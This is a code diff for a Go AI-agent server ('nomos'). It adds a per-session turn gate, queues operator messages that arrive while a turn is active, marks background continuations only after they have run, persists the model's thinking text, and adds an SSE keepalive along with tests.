a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID)
|
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID, totalTokens)
|
||||||
|
|
||||||
// Retry cap: dispatch errors (e.g. MCP client timeout)
|
// Retry cap: dispatch errors (e.g. MCP client timeout)
|
||||||
// count toward the cap too. A command that keeps timing
|
// count toward the cap too. A command that keeps timing
|
||||||
@@ -572,7 +596,7 @@ func (a *agent) chatWith(ctx context.Context, sessionID, message, systemInject s
|
|||||||
}
|
}
|
||||||
|
|
||||||
resultJSON, _ := json.Marshal(result)
|
resultJSON, _ := json.Marshal(result)
|
||||||
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, string(resultJSON), elapsed, true, correlationID)
|
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, string(resultJSON), elapsed, true, correlationID, totalTokens)
|
||||||
|
|
||||||
// Link any execution this tool queued/started back to this
|
// Link any execution this tool queued/started back to this
|
||||||
// session, so the auto-continuation worker can feed its result
|
// session, so the auto-continuation worker can feed its result
|
||||||
|
|||||||
@@ -76,16 +76,20 @@ func (a *agent) processIdleSweep(ctx context.Context) {
|
|||||||
s := s
|
s := s
|
||||||
if s.CompletionNudges == 0 {
|
if s.CompletionNudges == 0 {
|
||||||
safego.Go("nomos:idle-nudge:"+s.ID, func() {
|
safego.Go("nomos:idle-nudge:"+s.ID, func() {
|
||||||
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
|
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
|
||||||
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
|
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
|
||||||
return
|
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
|
||||||
|
s.Goal, idleTaskThreshold)
|
||||||
|
note = a.store.enrichResumeNote(ctx, s.ID, note)
|
||||||
|
// P1: only count the nudge if it actually delivered. resumeSession
|
||||||
|
// skips (returns false) when a turn is already active; bumping the
|
||||||
|
// counter anyway would make the next sweep auto-close a merely-busy
|
||||||
|
// session as "unanswered."
|
||||||
|
if a.resumeSession(ctx, s.ID, note) {
|
||||||
|
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
|
||||||
|
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
|
|
||||||
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
|
|
||||||
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
|
|
||||||
s.Goal, idleTaskThreshold)
|
|
||||||
note = a.store.enrichResumeNote(ctx, s.ID, note)
|
|
||||||
a.resumeSession(ctx, s.ID, note)
|
|
||||||
})
|
})
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -163,7 +167,9 @@ func (a *agent) processContinuations(ctx context.Context) {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
a.store.markContinued(ctx, p.ExecID) // stamp first: a failure here must not cause a re-continue loop
|
// markContinued now happens inside continueSession, AFTER resumeSession
|
||||||
|
// actually runs (P0). Pre-marking here consumed the item even when
|
||||||
|
// resumeSession skipped on a busy session, losing the result.
|
||||||
safego.Go("nomos:continue-session:"+p.SessionID, func() { a.continueSession(ctx, p) })
|
safego.Go("nomos:continue-session:"+p.SessionID, func() { a.continueSession(ctx, p) })
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -179,7 +185,18 @@ func (a *agent) processContinuations(ctx context.Context) {
|
|||||||
// something new to poll for.
|
// something new to poll for.
|
||||||
func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
||||||
slog.Info("nomos: auto-continuing session", "session", p.SessionID, "execution", p.ExecID, "status", p.Status)
|
slog.Info("nomos: auto-continuing session", "session", p.SessionID, "execution", p.ExecID, "status", p.Status)
|
||||||
a.resumeSession(ctx, p.SessionID, buildContinuationNote(p))
|
// P0 (plans/2026-08-03-nomos-chat-changes-review.md): mark the execution
|
||||||
|
// continued ONLY after the turn actually ran. resumeSession skips (returns
|
||||||
|
// false) when another turn is already active for this session; marking
|
||||||
|
// before that — as the old code did — consumed the item (continued_at set,
|
||||||
|
// never re-queued by pendingContinuations) and silently lost the result.
|
||||||
|
// On a skip, leave it pending so the next worker tick retries once the
|
||||||
|
// active turn frees the permit.
|
||||||
|
if !a.resumeSession(ctx, p.SessionID, buildContinuationNote(p)) {
|
||||||
|
slog.Info("nomos: continuation deferred — a turn is active; will retry next tick", "session", p.SessionID, "execution", p.ExecID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
a.store.markContinued(ctx, p.ExecID)
|
||||||
}
|
}
|
||||||
|
|
||||||
// resumeSession re-invokes the agent for a session with a system-injected note —
|
// resumeSession re-invokes the agent for a session with a system-injected note —
|
||||||
@@ -187,7 +204,32 @@ func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
|
|||||||
// (handleAnswerQuestion) — persisting progress LIVE (a placeholder row updated
|
// (handleAnswerQuestion) — persisting progress LIVE (a placeholder row updated
|
||||||
// in place as each tool call lands) so the frontend poller sees each step,
|
// in place as each tool call lands) so the frontend poller sees each step,
|
||||||
// instead of total silence until the whole resume concludes.
|
// instead of total silence until the whole resume concludes.
|
||||||
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
//
|
||||||
|
// F1 (plan 2026-08-03): this is the single entry point for EVERY background
|
||||||
|
// turn — the continuation worker, idle sweep, answer-question, /resume, and the
|
||||||
|
// empty-message reconnect all funnel through here. It acquires the session's
|
||||||
|
// turn permit non-blocking and SKIPS if a turn is already running. A duplicate
|
||||||
|
// resume while a turn (live or background) is active is exactly the
|
||||||
|
// interleaving that corrupted the activity panel and made tasks feel stuck.
|
||||||
|
//
|
||||||
|
// Returns whether the turn actually ran. Callers that mutate state before
|
||||||
|
// resuming (the continuation worker's markContinued, the idle sweep's nudge
|
||||||
|
// bump) MUST gate that mutation on a true return — otherwise a busy-skip leaves
|
||||||
|
// the state changed but the work undone (lost continuation / false auto-close).
|
||||||
|
// See plans/2026-08-03-nomos-chat-changes-review.md P0/P1.
|
||||||
|
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) bool {
|
||||||
|
if !a.gate.acquire(sessionID, 0) {
|
||||||
|
slog.Info("nomos: turn already active, skipping background resume", "session", sessionID)
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// Release the gate, then drain any operator message that was queued while
|
||||||
|
// this background turn ran (plan 2026-08-03 F2). Queued messages are run as
|
||||||
|
// real user turns server-side; resumeSession itself never enqueues.
|
||||||
|
defer func() {
|
||||||
|
a.gate.release(sessionID)
|
||||||
|
safego.Go("nomos:drain:"+sessionID, func() { a.drainQueued(context.Background(), sessionID) })
|
||||||
|
}()
|
||||||
|
|
||||||
placeholder, _ := json.Marshal(map[string]any{
|
placeholder, _ := json.Marshal(map[string]any{
|
||||||
"role": "assistant",
|
"role": "assistant",
|
||||||
"text": "",
|
"text": "",
|
||||||
@@ -200,6 +242,7 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
|||||||
|
|
||||||
var toolCalls []map[string]any
|
var toolCalls []map[string]any
|
||||||
var finalText, errText string
|
var finalText, errText string
|
||||||
|
var finalThinking string
|
||||||
|
|
||||||
persist := func() {
|
persist := func() {
|
||||||
if msgID == uuid.Nil {
|
if msgID == uuid.Nil {
|
||||||
@@ -212,6 +255,7 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
|||||||
body, _ := json.Marshal(map[string]any{
|
body, _ := json.Marshal(map[string]any{
|
||||||
"role": "assistant",
|
"role": "assistant",
|
||||||
"text": text,
|
"text": text,
|
||||||
|
"thinking": finalThinking,
|
||||||
"tool_calls": toolCalls,
|
"tool_calls": toolCalls,
|
||||||
"auto": true, // marks this as an autonomous continuation, not an operator turn
|
"auto": true, // marks this as an autonomous continuation, not an operator turn
|
||||||
})
|
})
|
||||||
@@ -242,15 +286,19 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
|||||||
if attempt > 0 {
|
if attempt > 0 {
|
||||||
select {
|
select {
|
||||||
case <-cctx.Done():
|
case <-cctx.Done():
|
||||||
return
|
return true // a turn ran on an earlier attempt; consume, don't re-loop
|
||||||
case <-time.After(time.Duration(2<<attempt) * time.Second): // 4s, 8s
|
case <-time.After(time.Duration(2<<attempt) * time.Second): // 4s, 8s
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
toolCalls, finalText, errText = nil, "", ""
|
toolCalls, finalText, errText = nil, "", ""
|
||||||
|
finalThinking = ""
|
||||||
// P3: accumulate per-iteration reasoning instead of overwriting
|
// P3: accumulate per-iteration reasoning instead of overwriting
|
||||||
// (same fix as main.go's chat handler). Without this, a resumed
|
// (same fix as main.go's chat handler). Without this, a resumed
|
||||||
// turn's intermediate thinking is lost on reload.
|
// turn's intermediate thinking is lost on reload.
|
||||||
|
// (same fix as main.go's chat handler). Without this, a resumed
|
||||||
|
// turn's intermediate thinking is lost on reload.
|
||||||
var textParts []string
|
var textParts []string
|
||||||
|
var thinkingParts []string
|
||||||
emit := func(ev agentEvent) {
|
emit := func(ev agentEvent) {
|
||||||
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
||||||
if m, ok := ev.Data.(map[string]any); ok {
|
if m, ok := ev.Data.(map[string]any); ok {
|
||||||
@@ -277,8 +325,13 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
|||||||
}
|
}
|
||||||
if ev.Type == "text" {
|
if ev.Type == "text" {
|
||||||
if t, ok := ev.Data.(string); ok && t != "" {
|
if t, ok := ev.Data.(string); ok && t != "" {
|
||||||
textParts = append(textParts, t)
|
if ev.IsThinking {
|
||||||
finalText = strings.Join(textParts, "\n\n")
|
thinkingParts = append(thinkingParts, t)
|
||||||
|
finalThinking = strings.Join(thinkingParts, "\n\n")
|
||||||
|
} else {
|
||||||
|
textParts = append(textParts, t)
|
||||||
|
finalText = strings.Join(textParts, "\n\n")
|
||||||
|
}
|
||||||
persist()
|
persist()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -314,9 +367,10 @@ func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
|
|||||||
// No placeholder was inserted (rare), save directly.
|
// No placeholder was inserted (rare), save directly.
|
||||||
a.store.saveMessage(context.Background(), sessionID, "assistant", body)
|
a.store.saveMessage(context.Background(), sessionID, "assistant", body)
|
||||||
}
|
}
|
||||||
return // do not call persist() again — already persisted above
|
return true // do not call persist() again — already persisted above
|
||||||
}
|
}
|
||||||
persist() // final state — same row, updated one last time with the concluding text
|
persist() // final state — same row, updated one last time with the concluding text
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// buildContinuationNote frames the finished execution for the model: what
|
// buildContinuationNote frames the finished execution for the model: what
|
||||||
|
|||||||
@@ -1,6 +1,11 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import "testing"
|
import (
|
||||||
|
"context"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
func TestExtractExecutionIDs(t *testing.T) {
|
func TestExtractExecutionIDs(t *testing.T) {
|
||||||
// Real tool-result phrasings that should yield an execution id.
|
// Real tool-result phrasings that should yield an execution id.
|
||||||
@@ -37,3 +42,37 @@ func TestExtractExecutionIDs(t *testing.T) {
|
|||||||
t.Errorf("expected de-dup to 1 id, got %v", ids)
|
t.Errorf("expected de-dup to 1 id, got %v", ids)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestResumeSession_SkipsWhenBusy guards the P0 fix
|
||||||
|
// (plans/2026-08-03-nomos-chat-changes-review.md): resumeSession must skip —
|
||||||
|
// return false, body never executed — when a turn is already active for the
|
||||||
|
// session. continueSession relies on this so it only marks a continuation
|
||||||
|
// "continued" after a turn really ran (otherwise the result is lost: marked
|
||||||
|
// continued, never re-queued by pendingContinuations).
|
||||||
|
//
|
||||||
|
// A minimal agent with only a gate is enough: if the body ever ran, chatWith
|
||||||
|
// would dereference the nil provider and panic. Returning false cleanly proves
|
||||||
|
// the body was skipped.
|
||||||
|
func TestResumeSession_SkipsWhenBusy(t *testing.T) {
|
||||||
|
a := &agent{gate: newTurnGate()}
|
||||||
|
if !a.gate.acquire("sess", 0) {
|
||||||
|
t.Fatal("precondition: initial acquire should succeed on a free session")
|
||||||
|
}
|
||||||
|
ran := a.resumeSession(context.Background(), "sess", "note")
|
||||||
|
if ran {
|
||||||
|
t.Fatal("resumeSession must return false (skip) while a turn is active for the session")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestContinueSession_DefersWhenBusy guards the other half of P0: when the
|
||||||
|
// session is busy, continueSession defers (leaves the execution pending for the
|
||||||
|
// next worker tick) instead of running or marking it. It must return cleanly
|
||||||
|
// without reaching resumeSession's body (nil provider → panic) or markContinued.
|
||||||
|
func TestContinueSession_DefersWhenBusy(t *testing.T) {
|
||||||
|
a := &agent{gate: newTurnGate()}
|
||||||
|
if !a.gate.acquire("sess", 0) {
|
||||||
|
t.Fatal("precondition: initial acquire should succeed on a free session")
|
||||||
|
}
|
||||||
|
p := pendingContinuation{ExecID: uuid.New(), SessionID: "sess", Status: "completed"}
|
||||||
|
a.continueSession(context.Background(), p) // must not panic; must not run/mark
|
||||||
|
}
|
||||||
|
|||||||
@@ -319,8 +319,10 @@ func fetchTranscript(ctx context.Context, gateway, sid string) (transcript, sess
|
|||||||
}
|
}
|
||||||
// Fetch the plan (steps with generation numbers) for the
|
// Fetch the plan (steps with generation numbers) for the
|
||||||
// plan_generations assertion. A 404 or empty response is fine — a
|
// plan_generations assertion. A 404 or empty response is fine — a
|
||||||
// pure-DB Q&A with no propose_plan has no plan.
|
// pure-DB Q&A with no propose_plan has no plan. ?all=true returns every
|
||||||
if planResp, perr := http.Get(gateway + "/sessions/" + sid + "/plan"); perr == nil {
|
// generation so the assertion can count them (the default view returns
|
||||||
|
// only the current generation).
|
||||||
|
if planResp, perr := http.Get(gateway + "/sessions/" + sid + "/plan?all=true"); perr == nil {
|
||||||
if planResp.StatusCode == 200 {
|
if planResp.StatusCode == 200 {
|
||||||
pb, _ := io.ReadAll(planResp.Body)
|
pb, _ := io.ReadAll(planResp.Body)
|
||||||
_ = json.Unmarshal(pb, &t) // fills t.PlanSteps via "steps" field
|
_ = json.Unmarshal(pb, &t) // fills t.PlanSteps via "steps" field
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"syscall"
|
"syscall"
|
||||||
@@ -166,6 +167,147 @@ func sseEvent(w http.ResponseWriter, flusher http.Flusher, event agentEvent) {
|
|||||||
flusher.Flush()
|
flusher.Flush()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// runChatTurn is the shared core of an operator-initiated turn: insert an
|
||||||
|
// assistant placeholder, run a.chat with incremental persistence (so whatever
|
||||||
|
// happened before an abort is never lost), finalize the row, and derive a
|
||||||
|
// title. It is agnostic to the transport: `sink` receives every agent event
|
||||||
|
// for delivery (SSE for a live handleChat, a no-op for a queued turn that has
|
||||||
|
// no client attached — the frontend learns about those via the poller + the
|
||||||
|
// status-driven "working" signal). The caller MUST already hold the session's
|
||||||
|
// turn-gate permit.
|
||||||
|
func (a *agent) runChatTurn(pctx, ctx context.Context, sessionID, message string, sink func(agentEvent)) {
|
||||||
|
toolCalls := []map[string]any{}
|
||||||
|
// P3: accumulate per-iteration reasoning instead of overwriting with the
|
||||||
|
// final `text` event (see the original inline comment in handleChat).
|
||||||
|
var textParts []string
|
||||||
|
var thinkingParts []string
|
||||||
|
var finalText string
|
||||||
|
var finalThinking string
|
||||||
|
|
||||||
|
placeholder, _ := json.Marshal(map[string]any{"role": "assistant", "text": ""})
|
||||||
|
msgID, err := a.store.insertMessageReturningID(pctx, sessionID, "assistant", placeholder)
|
||||||
|
if err != nil {
|
||||||
|
slog.Error("nomos: chat placeholder insert failed", "session", sessionID, "error", err)
|
||||||
|
}
|
||||||
|
persist := func() {
|
||||||
|
if msgID == uuid.Nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
body, _ := json.Marshal(map[string]any{
|
||||||
|
"role": "assistant",
|
||||||
|
"text": finalText,
|
||||||
|
"thinking": finalThinking,
|
||||||
|
"tool_calls": toolCalls,
|
||||||
|
})
|
||||||
|
a.store.updateMessage(pctx, msgID, body)
|
||||||
|
}
|
||||||
|
|
||||||
|
a.chat(ctx, sessionID, message, func(ev agentEvent) {
|
||||||
|
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
||||||
|
if m, ok := ev.Data.(map[string]any); ok {
|
||||||
|
m["type"] = ev.Type
|
||||||
|
// One entry per tool call: tool_use creates it, tool_result
|
||||||
|
// merges the result into the same entry (matched by id).
|
||||||
|
id, _ := m["id"].(string)
|
||||||
|
if id != "" && ev.Type == "tool_result" {
|
||||||
|
for _, existing := range toolCalls {
|
||||||
|
if eID, _ := existing["id"].(string); eID == id {
|
||||||
|
for k, v := range m {
|
||||||
|
existing[k] = v
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
toolCalls = append(toolCalls, m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
persist() // live: survives even if the client disconnects right after
|
||||||
|
}
|
||||||
|
if ev.Type == "text" {
|
||||||
|
if t, ok := ev.Data.(string); ok && t != "" {
|
||||||
|
if ev.IsThinking {
|
||||||
|
thinkingParts = append(thinkingParts, t)
|
||||||
|
finalThinking = strings.Join(thinkingParts, "\n\n")
|
||||||
|
} else {
|
||||||
|
textParts = append(textParts, t)
|
||||||
|
finalText = strings.Join(textParts, "\n\n")
|
||||||
|
}
|
||||||
|
persist()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sink(ev)
|
||||||
|
})
|
||||||
|
|
||||||
|
// B.6: if the turn ended with no text and no tool calls (the model
|
||||||
|
// empty-response'd and all retries failed), delete the placeholder row
|
||||||
|
// instead of persisting an empty bubble.
|
||||||
|
if finalText == "" && len(toolCalls) == 0 && msgID != uuid.Nil {
|
||||||
|
a.store.deleteMessage(pctx, msgID)
|
||||||
|
} else {
|
||||||
|
persist() // final state — same row, updated one last time
|
||||||
|
}
|
||||||
|
|
||||||
|
// Title: prefer the goal once set; else the first assistant answer.
|
||||||
|
if finalText != "" && sessionID != "ephemeral" {
|
||||||
|
var goalTitle string
|
||||||
|
if sess, gerr := a.store.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
|
||||||
|
goalTitle = truncate(sess.Goal, 120)
|
||||||
|
}
|
||||||
|
title := goalTitle
|
||||||
|
if title == "" {
|
||||||
|
title = truncate(finalText, 80)
|
||||||
|
}
|
||||||
|
if title != "" {
|
||||||
|
a.store.updateSessionTitle(pctx, sessionID, title)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// drainAcquireWait is how long drainQueued blocks for a busy gate before
|
||||||
|
// re-queuing and deferring to the holder's own release-drain. A package var so
|
||||||
|
// tests can shorten it; in production it just needs to outlast the brief
|
||||||
|
// release→drain handoff window.
|
||||||
|
var drainAcquireWait = 5 * time.Second
|
||||||
|
|
||||||
|
// drainQueued runs every queued operator message for a session as its own turn,
|
||||||
|
// one at a time, under the turn gate. Called (in a goroutine) whenever a turn
|
||||||
|
// releases the gate — from handleChat (live) and resumeSession (background) —
|
||||||
|
// so a message queued while the agent was busy is acted on as soon as it's
|
||||||
|
// free, without the operator re-sending. See messagequeue.go (plan 2026-08-03
|
||||||
|
// F2).
|
||||||
|
//
|
||||||
|
// Each queued turn is persisted incrementally and has no SSE client (the
|
||||||
|
// browser detached after receiving the `queued` event); the frontend sees the
|
||||||
|
// result via the 3s poller and the status-driven "working" indicator.
|
||||||
|
func (a *agent) drainQueued(ctx context.Context, sessionID string) {
|
||||||
|
for {
|
||||||
|
msg, ok := a.queue.dequeue(sessionID)
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Block briefly for the gate. If a live turn grabbed it first, put the
|
||||||
|
// message back — that turn's release will drain it again. Never stack.
|
||||||
|
if !a.gate.acquire(sessionID, drainAcquireWait) {
|
||||||
|
a.queue.requeueFront(sessionID, msg)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
slog.Info("nomos: running queued operator message", "session", sessionID)
|
||||||
|
pctx := context.Background()
|
||||||
|
// Run the turn inside a per-iteration closure so the gate release is
|
||||||
|
// deferred to the end of THIS turn (and runs even if runChatTurn
|
||||||
|
// panics — safego recovers the panic at the goroutine boundary, so a
|
||||||
|
// non-deferred release would be skipped and the session's permit held
|
||||||
|
// forever, deadlocking all future turns). A bare `defer release` in
|
||||||
|
// the loop would be wrong too: Go defers run at function exit, not
|
||||||
|
// iteration exit, so the gate would stay held across iterations.
|
||||||
|
func() {
|
||||||
|
defer a.gate.release(sessionID)
|
||||||
|
a.runChatTurn(pctx, ctx, sessionID, msg, func(agentEvent) {})
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||||
if r.Method != http.MethodPost {
|
if r.Method != http.MethodPost {
|
||||||
http.Error(w, "method not allowed", 405)
|
http.Error(w, "method not allowed", 405)
|
||||||
@@ -185,12 +327,22 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Empty message with an existing session = reconnect/resume. The
|
// Empty message with an existing session = reconnect/resume. This path is
|
||||||
// frontend sends this after a dropped SSE stream to re-establish the
|
// defensive now — the frontend (post F2) recovers a dropped SSE via the
|
||||||
// connection and catch up on any auto-continuation work that happened
|
// poller + terminal task.status clearing, and no longer POSTs empty
|
||||||
// while disconnected. Route into resumeSession so the agent sees a
|
// messages. If a client ever does, route into resumeSession so the agent
|
||||||
// system note and reports current state.
|
// reports current state — but SKIP a terminal session (done/failed/
|
||||||
|
// abandoned): there's nothing to resume, and running a "report state"
|
||||||
|
// turn there is just a spare turn the operator never asked for (P2.1).
|
||||||
if req.Message == "" && req.SessionID != "" {
|
if req.Message == "" && req.SessionID != "" {
|
||||||
|
if sess, err := st.getSession(context.Background(), req.SessionID); err == nil {
|
||||||
|
switch sess.Status {
|
||||||
|
case "done", "failed", "abandoned":
|
||||||
|
slog.Info("nomos: reconnect skipped — session already terminal", "session", req.SessionID, "status", sess.Status)
|
||||||
|
w.WriteHeader(202)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
slog.Info("nomos: reconnect", "session", req.SessionID)
|
slog.Info("nomos: reconnect", "session", req.SessionID)
|
||||||
safego.Go("nomos:reconnect:"+req.SessionID, func() {
|
safego.Go("nomos:reconnect:"+req.SessionID, func() {
|
||||||
base := "[System: the operator's connection was re-established. The task may have progressed in the background.]"
|
base := "[System: the operator's connection was re-established. The task may have progressed in the background.]"
|
||||||
@@ -199,7 +351,7 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
|||||||
})
|
})
|
||||||
// Return 202 so the frontend doesn't try to consume an SSE stream
|
// Return 202 so the frontend doesn't try to consume an SSE stream
|
||||||
// from this POST — resumeSession writes to the DB directly and
|
// from this POST — resumeSession writes to the DB directly and
|
||||||
// the poller (already running from handleDisconnect) picks it up.
|
// the poller picks it up.
|
||||||
w.WriteHeader(202)
|
w.WriteHeader(202)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -213,8 +365,20 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
|||||||
w.Header().Set("Content-Type", "text/event-stream")
|
w.Header().Set("Content-Type", "text/event-stream")
|
||||||
w.Header().Set("Cache-Control", "no-cache")
|
w.Header().Set("Cache-Control", "no-cache")
|
||||||
w.Header().Set("Connection", "keep-alive")
|
w.Header().Set("Connection", "keep-alive")
|
||||||
|
w.Header().Set("X-Accel-Buffering", "no") // disable proxy buffering
|
||||||
w.WriteHeader(200)
|
w.WriteHeader(200)
|
||||||
|
|
||||||
|
// All writes to w (events + the keepalive comment below) go through one
|
||||||
|
// mutex: http.ResponseWriter is NOT safe for concurrent use, and the
|
||||||
|
// keepalive ticker runs alongside the turn's event sink (plan 2026-08-03
|
||||||
|
// F3). Without this, interleaved writes corrupt the SSE stream.
|
||||||
|
var writeMu sync.Mutex
|
||||||
|
writeEvent := func(ev agentEvent) {
|
||||||
|
writeMu.Lock()
|
||||||
|
defer writeMu.Unlock()
|
||||||
|
sseEvent(w, flusher, ev)
|
||||||
|
}
|
||||||
|
|
||||||
ctx := r.Context()
|
ctx := r.Context()
|
||||||
sessionID := req.SessionID
|
sessionID := req.SessionID
|
||||||
|
|
||||||
@@ -266,98 +430,65 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
|||||||
st.answerQuestion(pctx, sessionID, qid, req.Message)
|
st.answerQuestion(pctx, sessionID, qid, req.Message)
|
||||||
}
|
}
|
||||||
|
|
||||||
sseEvent(w, flusher, agentEvent{Type: "session", Data: sessionID, SessionID: sessionID})
|
writeEvent(agentEvent{Type: "session", Data: sessionID, SessionID: sessionID})
|
||||||
|
|
||||||
toolCalls := []map[string]any{}
|
// F1/F2 (plan 2026-08-03): serialize turns per session. The user message is
|
||||||
// P3: accumulate per-iteration reasoning instead of overwriting with
|
// already persisted above, so it is never lost. Wait briefly for a finishing
|
||||||
// the final `text` event. The agent loop emits a `text` event for each
|
// background turn; if one is still running after that, QUEUE this message
|
||||||
// LLM iteration that produced text (intermediate reasoning before tool
|
// (don't reject it) and tell the client so it shows a "queued" state. The
|
||||||
// calls + the final answer). Without accumulation, only the last `text`
|
// in-flight turn's release drains the queue (drainQueued) and runs it as a
|
||||||
// survives in the persisted row — a reload shows the final summary but
|
// real turn server-side. This never stacks concurrent turns — the gate still
|
||||||
// not the thinking that led to each tool call.
|
// guarantees one in-flight turn per session.
|
||||||
var textParts []string
|
const turnWait = 5 * time.Second
|
||||||
var finalText string
|
if !a.gate.acquire(sessionID, turnWait) {
|
||||||
|
a.queue.enqueue(sessionID, req.Message)
|
||||||
// Incremental persistence, mirroring resumeSession's existing
|
slog.Info("nomos: turn already active, queued operator message", "session", sessionID)
|
||||||
// placeholder+update pattern (continue.go): insert a placeholder now,
|
writeEvent(agentEvent{Type: "queued", Data: sessionID, SessionID: sessionID})
|
||||||
// update the SAME row after every tool call, so whatever happened before
|
writeEvent(agentEvent{Type: "done", Data: map[string]any{
|
||||||
// an abort is never lost — only what hadn't happened yet is.
|
"session_id": sessionID,
|
||||||
placeholder, _ := json.Marshal(map[string]any{"role": "assistant", "text": ""})
|
"queued": true,
|
||||||
msgID, err := st.insertMessageReturningID(pctx, sessionID, "assistant", placeholder)
|
}, SessionID: sessionID})
|
||||||
if err != nil {
|
return
|
||||||
slog.Error("nomos: chat placeholder insert failed", "session", sessionID, "error", err)
|
|
||||||
}
|
|
||||||
persist := func() {
|
|
||||||
if msgID == uuid.Nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
body, _ := json.Marshal(map[string]any{
|
|
||||||
"role": "assistant",
|
|
||||||
"text": finalText,
|
|
||||||
"tool_calls": toolCalls,
|
|
||||||
})
|
|
||||||
st.updateMessage(pctx, msgID, body)
|
|
||||||
}
|
}
|
||||||
|
defer func() {
|
||||||
|
a.gate.release(sessionID)
|
||||||
|
// Run any message that was queued while this turn held the gate. In a
|
||||||
|
// goroutine so the HTTP response finishes without waiting on the next
|
||||||
|
// turn; the queued turn has no SSE client of its own.
|
||||||
|
safego.Go("nomos:drain:"+sessionID, func() { a.drainQueued(context.Background(), sessionID) })
|
||||||
|
}()
|
||||||
|
|
||||||
a.chat(ctx, sessionID, req.Message, func(ev agentEvent) {
|
// F3 (plan 2026-08-03): keep the SSE alive during long turns. A turn can
|
||||||
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
// run for many minutes (provisioning chains, deep research); the model
|
||||||
if m, ok := ev.Data.(map[string]any); ok {
|
// often takes 20-40s between tool iterations, and with nothing flushed in
|
||||||
m["type"] = ev.Type
|
// that gap a proxy/browser idle timeout silently closes the stream. The
|
||||||
// One entry per tool call: tool_use creates it, tool_result
|
// client then sees streaming=false while the server keeps working — the
|
||||||
// merges the result into the same entry (matched by id).
|
// "I can't tell it's working" desync. An SSE comment line (":keepalive") is
|
||||||
// Before this fix, both events appended separate entries,
|
// ignored by EventSource but resets idle timers.
|
||||||
// doubling every tool call in the persisted transcript
|
keepDone := make(chan struct{})
|
||||||
// (confirmed pre-existing in d9cdcee1, v0.3.x era).
|
go func() {
|
||||||
id, _ := m["id"].(string)
|
t := time.NewTicker(12 * time.Second)
|
||||||
if id != "" && ev.Type == "tool_result" {
|
defer t.Stop()
|
||||||
for _, existing := range toolCalls {
|
for {
|
||||||
if eID, _ := existing["id"].(string); eID == id {
|
select {
|
||||||
for k, v := range m {
|
case <-keepDone:
|
||||||
existing[k] = v
|
return
|
||||||
}
|
